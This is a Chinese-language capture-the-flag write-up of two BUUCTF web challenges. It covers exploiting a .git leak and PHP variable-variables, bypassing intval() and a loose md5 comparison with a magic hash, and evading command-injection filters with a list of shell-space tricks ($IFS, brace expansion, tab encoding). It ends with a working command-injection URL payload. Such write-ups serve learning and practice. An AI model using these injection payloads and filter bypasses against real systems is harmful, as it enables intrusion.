[BJDCTF2020]Mark loves cat
思路
常规方法,先扫一下网站

发现好像有.git泄露
解题
用githack扫一下,看源码


那么我们令$yds=$flag就行,这样:
http://930847be-4dc1-46b9-8475-b2e003cdc6ba.node5.buuoj.cn:81/
index.php?yds=flag
注意
php里面可以通过$$x的方式引用变量
[WUSTCTF2020]朴实无华
思路
扫网站
robots.txt显示如下
User-agent: *
Disallow: /fAke_f1agggg.php
访问/fAke_f1agggg.php时抓包,能看到fl4g.php的提示
访问fl4g.php,看到源码
这边有个问题,直接看会显示乱码,因为Edge默认的charset并不是utf-8,可以下载一个“charset”扩展来解决


解题
解开这三个就行
Level 1
怎么绕过intval()?我在他人WriteUp中看到要用科学计数法,但是在PHP手册中看不到,直到看到这个回复
up 72 down leon at leonidasjp dot nl ¶
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.
<?php
echo intval('1e5');
?>
will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.
那么就好说了,直接?num=9e3完事
Level 2
弱比较的md5绕过,看大佬找到的是0e215962017,记一下记一下?num=9e3&md5=0e215962017
Flag
一个空格绕过和不让用cat
复习空格绕过
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)
不用cat可以用tail(显示末几行)或者tac(按行倒着输出)
先?num=9e3&md5=0e215962017&get_flag=ls
看到文件,最后payload
?num=9e3&md5=0e215962017&get_flag=tail$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
注意
知识点还是很多的